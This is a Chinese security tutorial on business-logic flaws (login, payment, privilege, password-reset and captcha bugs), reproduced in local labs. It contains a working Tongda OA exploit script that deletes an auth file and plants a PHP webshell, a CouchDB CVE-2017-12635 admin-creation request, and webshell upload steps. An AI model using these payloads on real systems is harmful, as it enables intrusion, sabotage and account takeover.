業(yè)務(wù)邏輯漏洞,是由于程序邏輯不嚴(yán)謹(jǐn)或邏輯太過(guò)復(fù)雜,導(dǎo)致一些邏輯分支不能正常處理或處理錯(cuò)誤,這樣的漏洞統(tǒng)稱(chēng)為業(yè)務(wù)邏輯漏洞。
簡(jiǎn)單理解:就是編程人員的思維邏輯不夠嚴(yán)謹(jǐn)導(dǎo)致攻擊者有機(jī)可乘的漏洞
邏輯漏洞還是一種雖然沒(méi)有在owasp top10 中提及到,但是往往會(huì)存在的漏洞。好像一名隱士,大隱隱于市,然而造成的破壞可能一點(diǎn)不比sql注入,xss等漏洞小。如下是邏輯漏洞的top10挖掘方向:
根據(jù)漏洞出現(xiàn)位置來(lái)總結(jié)
邏輯漏洞大概出現(xiàn)在如下幾處。下面我們根據(jù)出現(xiàn)位置來(lái)一處一處進(jìn)行總結(jié)
登陸部分存在的邏輯漏洞
暴力破解用戶名或密碼
暴力破解用戶名密碼的情況,一般出現(xiàn)在登陸部分沒(méi)有驗(yàn)證碼機(jī)制,沒(méi)有根據(jù)用戶名限制失敗次數(shù),沒(méi)有根據(jù)ip限制失敗次數(shù)等情況下。
通常思路:
-
-
-
-
常見(jiàn)限制:有時(shí)候會(huì)發(fā)現(xiàn)用戶名或者密碼是密文加密,這時(shí)可能是通過(guò)前端或者其他方式加密,對(duì)于簡(jiǎn)單的來(lái)說(shuō)base64編碼和md5的簽名是很好識(shí)破的,在爆破的時(shí)候可以選擇encode和hash
利用cookie&session
cookie偽造
Cookie偽造:通過(guò)修改 Cookie 中的某個(gè)參數(shù)來(lái)實(shí)現(xiàn)登錄其他用戶
測(cè)試方法:
1.使用一個(gè)賬號(hào)登錄,找一個(gè)可以證明身份的頁(yè)面,例如首頁(yè)的歡迎 xxx 或者是個(gè)人中心顯示昵稱(chēng)的地方
2.刷新該頁(yè)面攔截請(qǐng)求,觀察 Cookie 中的字段和值,例如 userid=xxx,修改Cookie中的值,把 xxx 改成 admin
3.forword 放行,頁(yè)面顯示 admin 的信息,則存在此問(wèn)題。
• 修復(fù)方法:對(duì)于客戶端標(biāo)識(shí)的用戶信息,使用 Session 會(huì)話認(rèn)證方式,避免通過(guò) Cookie 去仿冒其他人的身份。
Session會(huì)話固定攻擊
Session會(huì)話固定攻擊:一種誘騙受害者使用攻擊者指定的會(huì)話標(biāo)識(shí)(Session id)的攻擊手段,利用了服務(wù)器的session 不變的機(jī)制
攻擊步驟:
1.攻擊者通過(guò)某種手段重置目標(biāo)用戶的 Session id,然后監(jiān)聽(tīng)用戶會(huì)話狀態(tài)
-
-
-
-
• 攻擊者重置 Session id 的方法:通過(guò)xss,嗅探等方法取得用戶的session,修改數(shù)據(jù)包。
• 修復(fù)方法:每次登陸成功之后重新生成session,sessionID閑置過(guò)久時(shí),進(jìn)行重置sessionID
案例-益云公益廣告越權(quán)修改漏洞
用戶A創(chuàng)建一個(gè)廣告,記住id為420
用戶B也創(chuàng)建個(gè)廣告,進(jìn)入修改頁(yè)面,截?cái)嘈薷恼?qǐng)求,并將id改為420
支付處存在的邏輯漏洞
支付處存在的邏輯漏洞很多,但是一言以蔽之:數(shù)據(jù)篡改。
下面我們先來(lái)看一個(gè)支付處邏輯漏洞的復(fù)現(xiàn)。
Tiny_shop CMS 邏輯漏洞復(fù)現(xiàn)
環(huán)境搭建
LAMP環(huán)境的安裝直接省略掉了,phpstudy一把梭非常的舒適。將源碼copy到phpstudy的WWW文件夾中,啟動(dòng)lamp環(huán)境,即可進(jìn)入安裝頁(yè)面
http://127.0.0.1/TinyShop_v3.0/install/index.php?step=1
ps:環(huán)境搭建成功后,我發(fā)現(xiàn)訪問(wèn)index頁(yè)面顯示空白頁(yè)面。在大佬的提醒下發(fā)現(xiàn)是自己php版本不對(duì)(7.x)換成php5.x版本再次訪問(wèn)即可
支付邏輯漏洞復(fù)現(xiàn)
首先點(diǎn)擊最上方的登陸按鈕,登陸默認(rèn)賬戶 test@test.com 密碼 test (自己注冊(cè)的)
這里我們隨便選擇了一個(gè)商品,選擇好產(chǎn)品參數(shù)之后,點(diǎn)擊購(gòu)買(mǎi)。
點(diǎn)擊購(gòu)買(mǎi)時(shí),使用bp進(jìn)行抓包,在數(shù)據(jù)包中,將表示商品數(shù)量的num變量改為負(fù)數(shù),然后forward這個(gè)數(shù)據(jù)包。
這樣就利用網(wǎng)站漏洞成功薅到了店家羊毛
除了上述修改商品數(shù)量的方法,支付處的邏輯漏洞還包含如下幾種思路,由于操作比較簡(jiǎn)單且大同小異,這里為了節(jié)省篇幅只放利用思路。
修改商品編號(hào)
如果業(yè)務(wù)是通過(guò)商品編號(hào)來(lái)判斷價(jià)格的話,可能存在只修改A商品編號(hào)為B商品編號(hào),做到以A商品的價(jià)格購(gòu)買(mǎi)B商品
條件競(jìng)爭(zhēng)
支付處,多線程請(qǐng)求付款確認(rèn),結(jié)果如果余額為負(fù)數(shù),則存在該漏洞
金額修改
金額直接寫(xiě)在了post或者get請(qǐng)求中,對(duì)其進(jìn)行修改達(dá)到修改了商品金額的效果
充值中放棄訂單未失效
在充值中選取大額充值訂單,放棄訂單,獲得訂單號(hào),之后充值小額訂單,拿到充值成功的界面,將訂單號(hào)修改為放棄的大額訂單,觀察是否成功
業(yè)務(wù)辦理處-越權(quán)漏洞
之前跟著ms08067的大佬學(xué)習(xí)的時(shí)候,剛好寫(xiě)過(guò)相關(guān)筆記,還有幸發(fā)在該組織公眾號(hào)上了,這里扒過(guò)來(lái)
0x01前言:越權(quán)訪問(wèn)漏洞概念簡(jiǎn)析
”授權(quán)“與“驗(yàn)證”
了解越權(quán)訪問(wèn)的概念,首先要了解授權(quán)和驗(yàn)證的概念:授權(quán)是指網(wǎng)站賦予特定人對(duì)網(wǎng)站特定資源的讀寫(xiě)權(quán)限。而驗(yàn)證是網(wǎng)站用于檢查操作者是否真的可以對(duì)特定資源進(jìn)行讀寫(xiě)
“未授權(quán)訪問(wèn)”
未授權(quán)訪問(wèn)是指用戶在沒(méi)有通過(guò)認(rèn)證授權(quán)的情況下,能夠直接訪問(wèn)需要通過(guò)認(rèn)證才能訪問(wèn)到的頁(yè)面或文本信息。
那么,什么是越權(quán)漏洞?
由于沒(méi)有對(duì)用戶權(quán)限進(jìn)行嚴(yán)格的判斷,導(dǎo)致低權(quán)限的賬號(hào)(比如普通用戶)可以去完成高權(quán)限賬號(hào)(比如超管)范圍內(nèi)的操作,如果能夠成功操作,則稱(chēng)之為越權(quán)操作。越權(quán)漏洞形成的原因是后臺(tái)使用了 不合理的權(quán)限校驗(yàn)規(guī)則導(dǎo)致的。
越權(quán)漏洞的產(chǎn)生原因
開(kāi)發(fā)人員在對(duì)數(shù)據(jù)進(jìn)行操作時(shí)對(duì)客戶端請(qǐng)求的數(shù)據(jù)過(guò)分相信,遺漏了對(duì)于客戶端權(quán)限的仔細(xì)判定。
越權(quán)漏洞常見(jiàn)位置
-
-
-
-
0x02 越權(quán)訪問(wèn)漏洞的兩大分類(lèi)
越權(quán)漏洞主要分為水平越權(quán)和垂直越權(quán)兩大類(lèi)。
水平越權(quán):同級(jí)別(權(quán)限)的用戶或者同一角色的不同用戶之間,可以越權(quán)訪問(wèn)、修改或者刪除的非法操作。如果出現(xiàn)此漏洞,那么將可能會(huì)造成大批量數(shù)據(jù)泄露,嚴(yán)重的甚至?xí)斐捎脩粜畔⒈粣阂獯鄹摹?nbsp;
例如兩個(gè)不同的公司A和B,通過(guò)修改請(qǐng)求,公司A可以任意修改B公司的員工、部門(mén)、考勤等信息。
垂直越權(quán):指使用權(quán)限低的用戶可以訪問(wèn)權(quán)限較高的用戶
垂直越權(quán)危害:
• 向上越權(quán):普通用戶可以執(zhí)行管理員權(quán)限,比如發(fā)布文章、刪除文章等操作。
• 向下越權(quán):一個(gè)高級(jí)用戶可以訪問(wèn)低級(jí)用戶信息(暴露用戶隱
例如同一個(gè)公司的職員A和經(jīng)理B。顯然他們?cè)诠竞笈_(tái)管理系統(tǒng)中賬號(hào)的管理權(quán)限不同。垂直越權(quán)通過(guò)修改請(qǐng)求,職員A可以修改不在他管轄范圍內(nèi)的員工、考勤、工資等(自我加薪??)
關(guān)于如上介紹的總結(jié)話,偷我親愛(ài)的來(lái)自MS08067團(tuán)隊(duì)的講師一張圖是再好不過(guò)了
0x03 越權(quán)訪問(wèn)漏洞實(shí)戰(zhàn)課內(nèi)復(fù)現(xiàn)
水平越權(quán)
metinfoV4.0越權(quán)漏洞復(fù)現(xiàn)
環(huán)境準(zhǔn)備:
下載metinfoV4.0CMS源碼進(jìn)行網(wǎng)站搭建
下載后將源碼解壓至phpstudy的web根目錄即可。
解壓完畢后利用瀏覽器訪問(wèn)網(wǎng)站地址進(jìn)入安裝目錄創(chuàng)建普通用戶進(jìn)行登錄
登陸后進(jìn)入修改基本信息的頁(yè)面,隨便修改一個(gè)密碼,點(diǎn)擊提交信息的同時(shí)上傳
抓包修改useid為管理員id
成功修改管理員賬號(hào)密碼為123456,嘗試登陸
成功登陸,在界面風(fēng)格->模板管理->添加新模板處發(fā)現(xiàn)一處文件上傳漏洞。將冰蝎木馬壓縮成zip文件成功上傳
查看一下編輯模板參數(shù),報(bào)錯(cuò)是在意料之中的,我們需要的是木馬路徑
使用冰蝎服務(wù)器端連接木馬。成功執(zhí)行
海洋cms v9 越權(quán)漏洞
環(huán)境準(zhǔn)備
http://github.com/seacms/seacms-v9下載seacms9.0版本的源碼。還是使用php部署,部署過(guò)程非常簡(jiǎn)單。注意php+mysql的版本一般就是一路綠燈。
復(fù)現(xiàn)該漏洞需要注冊(cè)兩個(gè)網(wǎng)站賬號(hào)
1.test@test.com/1234562.ms08067/123456
漏洞復(fù)現(xiàn)
分別用chrome 和微軟兩個(gè)瀏覽器登陸這兩個(gè)賬號(hào)
通過(guò)抓包,獲取ms08067用戶的phpsessid為:df9jjuneuuqo5hgjjsid106km4
在另一賬號(hào)test@test.com的修改密碼操作上抓包,并將sessid修改為ms08067賬號(hào)的sessid。嘗試更改密碼為123456789。放包,顯示修改成功。
嘗試使用新密碼登陸ms08067賬戶,發(fā)現(xiàn)登陸成功。
垂直越權(quán)
Couchdb 垂直權(quán)限繞過(guò)漏洞(CVE-2017-12635)
漏洞描述
Apache CouchDB是一個(gè)開(kāi)源數(shù)據(jù)庫(kù),專(zhuān)注于易用性和成為”完全擁抱web的數(shù)據(jù)庫(kù)”。它是一個(gè)使用JSON作為存儲(chǔ)格式,java script作為查詢語(yǔ)言,MapReduce和HTTP作為API的NoSQL數(shù)據(jù)庫(kù)。應(yīng)用廣泛,如BBC用在其動(dòng)態(tài)內(nèi)容展示平臺(tái),Credit Suisse用在其內(nèi)部的商品部門(mén)的市場(chǎng)框架,Meebo,用在其社交平臺(tái)(web和應(yīng)用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個(gè)任意命令執(zhí)行漏洞,我們可以通過(guò)config api修改couchdb的配置query_server,這個(gè)配置項(xiàng)在設(shè)計(jì)、執(zhí)行view的時(shí)候?qū)⒈贿\(yùn)行。
影響版本:小于 1.7.0 以及 小于 2.1.1
環(huán)境搭建
使用虛擬機(jī)安裝docker,vulhub
cd vulhub/couchdb/CVE-2017-12635 #進(jìn)入靶場(chǎng)目錄docker-compose up -d #開(kāi)啟靶場(chǎng)docker ps #查看端口
一個(gè)小報(bào)錯(cuò)處理
p.s:運(yùn)行命令docker-compose up -d這里出現(xiàn)了一個(gè)報(bào)錯(cuò)。百度搜了一波,發(fā)現(xiàn)這是由于當(dāng)前用戶未加入docker組。解決方案是運(yùn)行命令
sudo gpasswd -a ${USER} docker
然后退出當(dāng)前用戶比如切換為root,再次切換回原用戶。然后執(zhí)行docker-compose up -d就ok了。
漏洞原理分析
由于Erlang和java script對(duì)JSON解析方式的不同,導(dǎo)致語(yǔ)句執(zhí)行產(chǎn)生差異性(對(duì)于給定的鍵,Eralang解析器將存儲(chǔ)兩個(gè)值,但是java script只存儲(chǔ)第二個(gè)值)
如:Erlang:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
java script:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可以被利用于,非管理員用戶賦予自身管理員身份權(quán)限。
參考文章:http://cloud.tencent.com/developer/article/1144778
漏洞復(fù)現(xiàn)
訪問(wèn)服務(wù)器ip:5984并抓包將抓到的包發(fā)送給重發(fā)器(Repeater)并將發(fā)送數(shù)據(jù)改為如下(服務(wù)器IP地址為自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403錯(cuò)誤:{“error”:”forbidden”,”reason”:”O(jiān)nly _admin may set roles”}報(bào)錯(cuò)原因是只有管理員才能設(shè)置Role角色。通過(guò)增加一個(gè)roles字段數(shù)據(jù)包的方式繞過(guò)限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}
通過(guò)新創(chuàng)建的用戶qaq/666666成功登錄
復(fù)現(xiàn)完記得銷(xiāo)毀環(huán)境哦~目錄中執(zhí)行命令
docker-compose down -v
0x04 越權(quán)訪問(wèn)漏洞課外復(fù)現(xiàn):
通達(dá)OA11.6版本越權(quán)漏洞復(fù)現(xiàn)
環(huán)境搭建
現(xiàn)在通達(dá)官網(wǎng)已經(jīng)把版本升級(jí)到了11.7,所以下載11.6版本需要自己尋找資源
傻瓜式安裝,配置界面如下。完成安裝之后就可以暫時(shí)不用管它了。記得接觸80端口占用(一般是要把phpstudy關(guān)掉)
安裝完之后就可以訪問(wèn)網(wǎng)站首頁(yè)了。這個(gè)漏洞復(fù)現(xiàn)手動(dòng)過(guò)程比較容易,執(zhí)行exp 寫(xiě)馬就可以了
exp:
腳本內(nèi)容如下,核心思路就是刪除網(wǎng)站里的一個(gè)名為auth.inc.php的文件,進(jìn)而越權(quán)拿shell
import requests#填寫(xiě)iptarget="http://ip/"#一句話木馬的密碼是qaqpayload="<?php eva l($_POST['qaq']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#刪除網(wǎng)站里的一個(gè)名為auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意,該EXP不是無(wú)損EXP,會(huì)刪除auth.inc.php讓OA無(wú)法正常工作
蟻劍拿shell
程序執(zhí)行之后出現(xiàn)了一個(gè)URL,為一句話木馬所在位置。使用webshell管理工具(如蟻劍鏈接即可)
dedecms v5.7越權(quán)漏洞復(fù)現(xiàn)
環(huán)境搭建
利用phpstudy搭建,下載源碼后copy進(jìn)根目錄安裝即可
用戶名admin 密碼admin進(jìn)入后臺(tái),系統(tǒng)設(shè)置->系統(tǒng)基本參數(shù)->會(huì)員設(shè)置 將是否開(kāi)啟會(huì)員功能一欄調(diào)為是
接著返回網(wǎng)站主頁(yè),注冊(cè)一個(gè)賬號(hào),記得不要設(shè)施安全提示問(wèn)題
接著回到后臺(tái)將等待驗(yàn)證郵件修改為:”審核通過(guò),提示填寫(xiě)完整信息”
進(jìn)入 test123用戶的個(gè)人中心,打開(kāi)bp抓包,將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。修改完成后釋放該包
此時(shí)發(fā)現(xiàn)test123用戶變成了admin
使用F12打開(kāi)控制臺(tái),進(jìn)入儲(chǔ)存,仍然是將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。將DedeUserID的值修改為test123.
刷新抓包,發(fā)送至repeater
將location后的網(wǎng)址從http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改為http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
關(guān)閉代理訪問(wèn)即可修改管理員賬戶密碼
0x05 后記
越權(quán)漏洞的產(chǎn)生歸根究底,還是由于網(wǎng)站開(kāi)發(fā)者和管理者授權(quán)意識(shí)的淡薄,授權(quán)的濫用。因此,授權(quán)應(yīng)當(dāng)遵守如下幾條原則:
1.使用最小權(quán)限原則對(duì)用戶進(jìn)行賦權(quán),對(duì)待權(quán)限做一只一毛都不多拔的鐵公雞
2.使用合理(嚴(yán)格)的權(quán)限校驗(yàn)規(guī)則;
3.使用后臺(tái)登錄狀態(tài)作為條件進(jìn)行權(quán)限判斷(別動(dòng)不動(dòng)就瞎用前端傳進(jìn)來(lái)的條件)
密碼找回處存在的邏輯漏洞
方法很多,思路重復(fù),這里挑重要的講
返回憑證
返回憑證的三種方式:
1. url返回憑證
2. 抓包返回憑證
3. 憑證在頁(yè)面中
方法:
1. URL返回憑證
使用firefox的firebug查看請(qǐng)求鏈接,看鏈接中是否有驗(yàn)證碼等密碼找回憑證
2. 抓包直接返回
根據(jù)手機(jī)號(hào)找回密碼后抓包,可以發(fā)現(xiàn)驗(yàn)證碼直接顯示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)
3. 密碼找回憑證在頁(yè)面中
通過(guò)密保問(wèn)題找回密碼,查看源碼,密保問(wèn)題和答案就在源碼中顯示
郵箱弱token
1.Unix時(shí)間戳 + md5
通過(guò)郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發(fā)現(xiàn)鏈接處有一串 md5 加密字符串。字符串解密,類(lèi)似 1491293277(10位),可以判斷為Unix時(shí)間戳。
重置他人密碼只需利用他人郵箱發(fā)送重置密碼郵件,在短時(shí)間內(nèi)對(duì)Unix時(shí)間戳進(jìn)行暴力破解,即可獲得重置密碼的鏈接
-
-
-
-
重置密碼鏈接直接使用用戶名進(jìn)行區(qū)別,改變用戶名即可更改他人密碼
-
-
-
-
利用兩個(gè)帳號(hào)同時(shí)點(diǎn)擊找回密碼,去郵箱查看找回密碼的鏈接,發(fā)現(xiàn)兩者的隨機(jī) token 只差1-2,而且可以猜測(cè)
出為服務(wù)器時(shí)間。所以可以用一個(gè)未知帳號(hào)和一個(gè)已知帳號(hào)同時(shí)點(diǎn)擊找回密碼,稍微遍歷隨機(jī) token,就可以構(gòu)造出未
知帳號(hào)的密碼找回鏈接
生成可控token
舉例:
例如當(dāng)我們通過(guò)郵箱找回密碼,正常流程下抓包查看提交驗(yàn)證碼后返回的數(shù)據(jù),有加密字符串,這個(gè)加密字符串和后面重新設(shè)置新密碼URL鏈接中的加密字符串一樣,所以可以利用這個(gè)加密字符串實(shí)現(xiàn)新密碼url中的加密字符串可控。于是根據(jù)上面提交驗(yàn)證碼的抓包,修改User 為其他用戶(User有可能會(huì)使用md5加密),發(fā)送就可以返回其他用戶的加密字符串。接著重新返回到找回密碼首頁(yè),利用其他用戶找回,點(diǎn)下一步,到輸入驗(yàn)證碼處,直接修改URL鏈接,加入加密字符串,可 以直接繞過(guò)驗(yàn)證碼,重置密碼。
驗(yàn)證碼處存在的邏輯漏洞
暴力破解:
要了解常見(jiàn)驗(yàn)證碼機(jī)制:
-
-
-
-
時(shí)間、次數(shù)突破:
概念:重復(fù)提交攜帶驗(yàn)證碼的數(shù)據(jù)包,查看返回包,判斷次數(shù)
測(cè)試方法:
填寫(xiě)正確登錄信息和驗(yàn)證碼 –> 抓取提交數(shù)據(jù)包 –> 重復(fù)提交該數(shù)據(jù)包 –> 查看是否登錄成功 –> 登錄成功則存在驗(yàn)證碼重復(fù)使用問(wèn)題
回顯測(cè)試:
概念:驗(yàn)證碼直接由客戶端生成,在回顯中顯示,可通過(guò)瀏覽器工具直接查看
測(cè)試方法:
1. 在源碼中顯示。源代碼審計(jì),搜索源碼中有無(wú)驗(yàn)證碼
2. 在COOKIE中顯示。抓包時(shí)分析COOKIE中是否含有驗(yàn)證碼
繞過(guò)驗(yàn)證碼:
漏洞成因:
由于邏輯設(shè)計(jì)缺陷,可繞過(guò)驗(yàn)證,比如直接刪除COOKIE或驗(yàn)證碼參數(shù)可繞過(guò)、當(dāng)驗(yàn)證不通過(guò)清空session時(shí)。驗(yàn)證碼參數(shù)值為空時(shí)繞過(guò)等
測(cè)試方法:
Step1.輸入正確賬戶信息和錯(cuò)誤驗(yàn)證碼,登錄時(shí)抓包
Step2.刪除COOKIE
Step3.客戶端登陸成功
特殊姿勢(shì):篡改手機(jī)號(hào)
在需要手機(jī)號(hào)的短信驗(yàn)證處,抓包修改手機(jī)號(hào),可能做到非本賬號(hào)手機(jī)號(hào)獲取能夠編輯本賬號(hào)的驗(yàn)證碼